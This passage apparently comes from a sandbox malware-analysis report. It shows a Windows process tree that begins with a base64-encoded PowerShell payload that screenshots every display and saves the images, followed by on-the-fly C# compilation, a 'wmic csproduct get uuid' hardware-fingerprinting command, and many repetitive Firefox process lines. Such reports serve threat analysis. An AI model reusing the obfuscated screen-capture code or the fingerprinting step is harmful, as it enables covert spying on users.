BHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA=
        6⤵
        
        PID:1524
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
        
        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\xf2kz05r\xf2kz05r.cmdline"
        7⤵
        
        PID:4180
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESEAA9.tmp" "c:\Users\Admin\AppData\Local\Temp\xf2kz05r\CSCB01E47CD2A4F4D6EA161E82298AFD3F7.TMP"
        8⤵
        
        PID:4192
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
        5⤵
        
        PID:3864
      - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic csproduct get uuid
        6⤵
        
        PID:5232
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c cls
      4⤵
      PID:6196

C:\Windows\winsxs\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.19041.4467_none_7e0f83e07c8c1985\TiWorker.exe
C:\Windows\winsxs\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.19041.4467_none_7e0f83e07c8c1985\TiWorker.exe -Embedding
1⤵
- Drops file in Windows directory
PID:7228

C:\Windows\system32\cmd.exe
"C:\Windows\system32\cmd.exe"
1⤵
PID:4788
- C:\Users\Admin\AppData\Local\Programs\Python\Python311\Scripts\pip.exe
  pip freeze
  2⤵
  - Executes dropped EXE
  PID:3036
- - C:\Users\Admin\AppData\Local\Programs\Python\Python311\python.exe
    "C:\Users\Admin\AppData\Local\Programs\Python\Python311\python.exe" "C:\Users\Admin\AppData\Local\Programs\Python\Python311\Scripts\pip.exe" freeze
    3⤵
    - Executes dropped EXE
    PID:6120
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "ver"
      4⤵
      PID:6520

C:\Program Files\Mozilla Firefox\firefox.exe
"C:\Program Files\Mozilla Firefox\firefox.exe"
1⤵
PID:7660
- C:\Program Files\Mozilla Firefox\firefox.exe
  "C:\Program Files\Mozilla Firefox\firefox.exe"
  2⤵
  - Checks processor information in registry
  - NTFS ADS
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of SendNotifyMessage
  - Suspicious use of SetWindowsHookEx
  PID:6908
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=1928 -parentBuildID 20240401114208 -prefsHandle 1844 -prefMapHandle 1836 -prefsLen 24914 -prefMapSize 245077 -appDir "C:\Program Files\Mozilla Firefox\browser" - {18e736de-d42f-48b9-861d-a181e4f262bb} 6908 "\\.\pipe\gecko-crash-server-pipe.6908" gpu
    3⤵
    PID:4836
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2284 -parentBuildID 20240401114208 -prefsHandle 2276 -prefMapHandle 2268 -prefsLen 24914 -prefMapSize 245077 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {e4e96ce0-5a5d-4deb-8c94-8871b96979de} 6908 "\\.\pipe\gecko-crash-server-pipe.6908" socket
    3⤵
    PID:8080
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2560 -childID 1 -isForBrowser -prefsHandle 2908 -prefMapHandle 2856 -prefsLen 25413 -prefMapSize 245077 -jsInitHandle 1352 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {d571b4c0-45c3-4d96-ab3d-60862f64da89} 6908 "\\.\pipe\gecko-crash-server-pipe.6908" tab
    3⤵
    PID:7192
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=4188 -childID 2 -isForBrowser -prefsHandle 4192 -prefMapHandle 4200 -prefsLen 30589 -prefMapSize 245077 -jsInitHandle 1352 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {91db37ee-e2bc-463f-8631-d0cc63ddde09} 6908 "\\.\pipe\gecko-crash-server-pipe.6908" tab
    3⤵
    PID:4576
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=4376 -childID 3 -isForBrowser -prefsHandle 4368 -prefMapHandle 4364 -prefsLen 27920 -prefMapSize 245077 -jsInitHandle 1352 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {e521634c-a4f7-412d-adee-7f9b59161fb8} 6908 "\\.\pipe\gecko-crash-server-pipe.6908" tab
    3⤵
    PID:3388
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=4972 -parentBuildID 20240401114208 -sandboxingKind 0 -prefsHandle 4976 -prefMapHandle 4924 -prefsLen 30696 -prefMapSize 245077 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {d0dd4bd1-9bd2-4b2b-a692-a7b80622200f} 6908 "\\.\pipe\gecko-crash-server-pipe.6908" utility
    3⤵
    - Checks processor information in registry
    PID:6220
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=5528 -childID 4 -isForBrowser -prefsHandle 5500 -prefMapHandle 5536 -prefsLen 28027 -prefMapSize 245077 -jsInitHandle 1352 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {0161deaf-d71d-4daa-9853-345dcf46a32e} 6908 "\\.\pipe\gecko-crash-server-pipe.6908" tab
    3⤵
    PID:4388
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=5648 -childID 5 -isForBrowser -prefsHandle 5656 -prefMapHandle 5660 -prefsLen 28027 -prefMapSize 245077 -jsInitHandle 1352 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {2588b716-2b5a-424f-ade8-46df15c422e5} 6908 "\\.\pipe\gecko-crash-server-pipe.6908" tab
    3⤵
    PID:1164
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=5488 -childID 6 -isForBrowser -prefsHandle 5872 -prefMapHandle 5880 -prefsLen 28027 -prefMapSize 245077 -jsInitHandle 1352 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {82f3562b-881f-4506-9282-28bec8130f65} 6908 "\\.\pipe\gecko-crash-server-pipe.6908" tab
    3⤵
    PID:4844
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=6148 -childID 7 -isForBrowser -prefsHandle 6184 -prefMapHandle 6176 -prefsLen 28027 -prefMapSize 245077 -jsInitHandle 1352 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {154b499c-2059-4b24-ae3d-59fbdb4634f9} 6908 "\\.\pipe\gecko-crash-server-pipe.6908" tab
    3⤵
    PID:6160
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=6752 -childID 8 -isForBrowser -prefsHandle 2664 -prefMapHandle 6728 -prefsLen 28027 -prefMapSize 245077 -jsInitHandle 1352 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {396e2f94-8695-4a8c-9b2c-ea7be16a21ff} 6908 "\\.\pipe\gecko-crash-server-pipe.6908" tab
    3⤵
    PID:6188
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=7424 -childID 9 -isForBrowser -prefsHandle 7420 -prefMapHandle 6912 -prefsLen 28027 -prefMapSize 245077 -jsInitHandle 1352 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {116f6164-83ee-46e5-a561-0d9670f7f1d0} 6908 "\\.\pipe\gecko-crash-server-pipe.6908" tab
    3⤵
    PID:7624
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=7560 -childID 10 -isForBrowser -prefsHandle 7568 -prefMapHandle 7572 -prefsLen 28027 -prefMapSize 245077 -jsInitHandle 1352 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {743c058a-45ff-49d0-9086-e5596a212dbf} 6908 "\\.\pipe\gecko-crash-server-pipe.6908" tab
    3⤵
    PID:6460
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=7764 -childID 11 -isForBrowser -prefsHandle 7844 -prefMapHandle 7840 -prefsLen 28027 -prefMapSize 245077 -jsInitHandle 1352 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {7bdc4069-6562-4590-948c-8789ae057656} 6908 "\\.\pipe\gecko-crash-server-pipe.6908" tab
    3⤵
    PID:6060
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=8032 -childID 12 -isForBrowser -prefsHandle 2804 -prefMapHandle 4632 -prefsLen 28027 -prefMapSize 245077 -jsInitHandle 1352 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {2f4c87aa-74af-46ed-b83f-eeaeec3e2df3} 6908 "\\.\pipe\gecko-crash-server-pipe.6908" tab
    3⤵
    PID:3788
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=8156 -childID 13 -isForBrowser -prefsHandle 8004 -prefMapHandle 7872 -prefsLen 28027 -prefMapSize 245077 -jsInitHandle 1352 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {25cb0104-b542-40f1-9041-ad48c9638ce5} 6908 "\\.\pipe\gecko-crash-server-pipe.6908" tab
    3⤵
    PID:7560
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=8276 -childID 14 -isForBrowser -prefsHandle 8284 -prefMapHandle 8288 -prefsLen 28027 -prefMapSize 245077 -jsInitHandle 1352 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {32cfb7cb-cd2f-4360-8269-e33a8ca8caf3} 6908 "\\.\pipe\gecko-crash-server-pipe.6908" tab
    3⤵
    PID:1200
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=8088 -childID 15 -isForBrowser -prefsHandle 7580 -prefMapHandle 4688 -prefsLen 28027 -prefMapSize 245077 -jsInitHandle 1352 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {a57d5150-835f-435d-abcc-c3ee06a6d3dc} 6908 "\\.\pipe\gecko-crash-server-pipe.6908" tab
    3⤵
    PID:6448
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=8624 -childID 16 -isForBrowser -prefsHandle 8456 -prefMapHandle 8260 -prefsLen 28027 -prefMapSize 245077 -jsInitHandle 1352 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {2f90bc32-96ac-4392-92bf-945ed360187d} 6908 "\\.\pipe\gecko-crash-server-pipe.6908" tab
    3⤵
    PID:5512
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=8560 -childID 17 -isForBrowser -prefsHandle 8472 -prefMapHandle 8468 -prefsLen 28027 -prefMapSize 245077 -jsInitHandle 1352 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {455da61f-5eeb-4802-92f1-f984a3113a67} 6908 "\\.\pipe\gecko-crash-server-pipe.6908" tab
    3⤵
    PID:5272
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=5160 -childID 18 -isForBrowser -prefsHandle 9168 -prefMapHandle 9164 -prefsLen 28027 -prefMapSize 245077 -jsInitHandle 1352 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {f722c650-670f-466a-bf34-8c3d383124ae} 6908 "\\.\pipe\gecko-crash-server-pipe.6908" tab
    3⤵
    PID:5392
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=8260 -childID 19 -isForBrowser -prefsHandle 8888 -prefMapHandle 9372 -prefsLen 28027 -prefMapSize 245077 -jsInitHandle 1352 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {ef2554d6-3504-4ed4-9fdd-b0947249f5fc} 6908 "\\.\pipe\gecko-crash-server-pipe.6908" tab
    3⤵
    PID:7008
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=9500 -childID 20 -isForBrowser -prefsHandle 9508 -prefMapHandle 9512 -prefsLen 28027 -prefMapSize 245077 -jsInitHandle 1352 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {e7de52a8-9265-45a7-9450-c12b09de431b} 6908 "\\.\pipe\gecko-crash-server-pipe.6908" tab
    3⤵
    PID:6436
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=9700 -childID 21 -isForBrowser -prefsHandle 9708 -prefMapHandle 9712 -prefsLen 28027 -prefMapSize 245077 -jsInitHandle 1352 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {89644fe2-95e8-48d2-a656-1c7b0df47e11} 6908 "\\.\pipe\gecko-crash-server-pipe.6908" tab
    3⤵
    PID:3864
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=7716 -childID 22 -isForBrowser -prefsHandle 7744 -prefMapHandle 2936 -prefsLen 28027 -prefMapSize 245077 -jsInitHandle 1352 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {314bd5dd-e6c8-4540-b590-1cc586a84377} 6908 "\\.\pipe\gecko-crash-server-pipe.6908" tab
    3⤵
    PID:7880
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=9160 -childID 23 -isForBrowser -prefsHandle 8020 -prefMapHandle 8256 -prefsLen 28027 -prefMapSize 245077 -jsInitHandle 1352 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {27b4835f-3f20-4f0d-8775-9bb684f0c8b3} 6908 "\\.\pipe\gecko-crash-server-pipe.6908" tab
    3⤵
    PID:7984
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=8584 -childID 24 -isForBrowser -prefsHandle 5344 -prefMapHandle 4764 -prefsLen 28027 -prefMapSize 245077 -jsInitHandle 1352 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {1f852703-e15d-4cdf-8712-1537039c33dc} 6908 "\\.\pipe\gecko-crash-server-pipe.6908" tab
    3⤵
    PID:7248
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=9300 -childID 25 -isForBrowser -prefsHandle 9188 -prefMapHandle 9184 -prefsLen 28027 -prefMapSize 245077 -jsInitHandle 1352 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {1eff4f7a-3c2e-430e-baa2-51c86c54c72b} 6908 "\\.\pipe\gecko-crash-server-pipe.6908" tab
    3⤵
    PID:8068
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=8408 -childID 26 -isForBrowser -prefsHandle 9152 -prefMapHandle 9172 -prefsLen 28027 -prefMapSize 245077 -jsInitHandle 1352 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {ad4699f6-635c-4881-8e0e-b02cd602c466} 6908 "\\.\pipe\gecko-crash-server-pipe.6908" tab
    3⤵
    PID:2884
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=9568 -childID 27 -isForBrowser -prefsHandle 9340 -prefMapHandle 8284 -prefsLen 28027 -prefMapSize 245077 -jsInitHandle 1352 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {f7449c6d-025f-4e9c-b6c4-212c520dbdf7} 6908 "\\.\pipe\gecko-crash-server-pipe.6908" tab
    3⤵
    PID:4800
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=3288 -childID 28 -isForBrowser -prefsHandle 2876 -prefMapHandle 2620 -prefsLen 28027 -prefMapSize 245077 -jsInitHandle 1352 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {e105f503-2318-4003-8733-007fd57fa1c3} 6908 "\\.\pipe\gecko-crash-server-pipe.6908" tab
    3⤵
    PID:6412
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=8068 -childID 29 -isForBrowser -prefsHandle 5732 -prefMapHandle 6120 -prefsLen 28027 -prefMapSize 245077 -jsInitHandle 1352 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {f8d8c5f7-d871-40dc-804b-d3afab7b2dca} 6908 "\\.\pipe\gecko-crash-server-pipe.6908" tab
    3⤵
    PID:6540
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=5804 -childID 30 -isForBrowser -prefsHandle 8332 -prefMapHandle 8504 -prefsLen 28027 -prefMapSize 245077 -jsInitHandle 1352 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {521b50aa-9fa9-4d1d-9e93-dfc1e172f5cf} 6908 "\\.\pipe\gecko-crash-server-pipe.6908" tab
    3⤵
    PID:4192
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=9972 -childID 31 -isForBrowser -prefsHandle 9444 -prefMapHandle 8612 -prefsLen 28027 -prefMapSize 245077 -jsInitHandle 1352 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {f46e520d-0f77-4a8c-8536-4f327cd9c0ec} 6908 "\\.\pipe\gecko-crash-server-pipe.6908" tab
    3⤵
    PID:3180
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=9996 -childID 32 -isForBrowser -prefsHandle 2876 -prefMapHandle 8076 -prefsLen 28027 -prefMapSize 245077 -jsInitHandle 1352 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {88775a6f-e308-4948-aecd-a3a4eb6d1b2e} 6908 "\\.\pipe\gecko-crash-server-pipe.6908" tab
    3⤵
    PID:8140
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=8364 -childID 33 -isForBrowser -prefsHandle 8076 -prefMapHandle 7640 -prefsLen 28027 -prefMapSize 245077 -jsInitHandle 1352 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {d5b8b341-0a84-4957-9fad-fd3b65482b05} 6908 "\\.\pipe\gecko-crash-server-pipe.6908" tab
    3⤵
    PID:8188
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=10188 -childID 34 -isForBrowser -prefsHandle 10196 -prefMapHandle 10200 -prefsLen 28027 -prefMapSize 245077 -jsInitHandle 1352 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {97448ec9-4ea3-41d0-8776-b0726d2ee63e} 6908 "\\.\pipe\gecko-crash-server-pipe.6908" tab
    3⤵
    PID:4304
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=6732 -childID 35 -isForBrowser -prefsHandle 7936 -prefMapHandle 8708 -prefsLen 28027 -prefMapSize 245077 -jsInitHandle 1352 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {7aea63cf-7ec6-4bb0-abc6-5a38c6c346b6} 6908 "\\.\pipe\gecko-crash-server-pipe.6908" tab
    3⤵
    PID:7728
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=8260 -childID 36 -isForBrowser -prefsHandle 6576 -prefMapHandle 8172 -prefsLen 28027 -prefMapSize 245077 -jsInitHandle 1352 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {5e99c3fa-f6ed-44c3-92b3-4482fe940e9f} 6908 "\\.\pipe\gecko-crash-server-pipe.6908" tab
    3⤵
    PID:4760
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=7992 -childID 37 -isForBrowser -prefsHandle 6172 -prefMapHandle 9524 -prefsLen 28027 -prefMapSize 245077 -jsInitHandle 1352 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {bc1b23e4-aa7c-48b0-9b18-144c5aeeba3e} 6908 "\\.\pipe\gecko-crash-server-pipe.6908" tab
    3⤵
    PID:6516
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=9776 -childID 38 -isForBrowser -prefsHandle 9340 -prefMapHandle 8184 -prefsLen 28027 -prefMapSize 245077 -jsInitHandle 1352 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {28c22398-155a-4006-86af-e8e7ef45852a} 6908 "\\.\pipe\gecko-crash-server-pipe.6908" tab
    3⤵
    PID:2804
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=6372 -childID 39 -isForBrowser -prefsHandle 8180 -prefMapHandle 3588 -prefsLen 28027 -prefMapSize 245077 -jsInitHandle 1352 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {ec1d6edc-351d-43a9-bc06-95b86d3bad8e} 6908 "\\.\pipe\gecko-crash-server-pipe.6908" tab
    3⤵
    PID:4508
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=8372 -childID 40 -isForBrowser -prefsHandle 10092 -prefMapHandle 8680 -prefsLen 28027 -prefMapSize 245077 -jsInitHandle 1352 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {da586435-69bd-4659-82bf-8e623f38a504} 6908 "\\.\pipe\gecko-crash-server-pipe.6908" tab
    3⤵
    PID:7720
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=6824 -childID 41 -isForBrowser -prefsHandle 10004 -prefMapHandle 10056 -prefsLen 28027 -prefMapSize 245077 -jsInitHandle 1352 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {0bf5a772-637a-480f-a769-d9557410e847} 6908 "\\.\pipe\gecko-crash-server-pipe.6908" tab
    3⤵
    PID:7668
- - C:\Program Files\Mozilla Firefox\firefox.exe
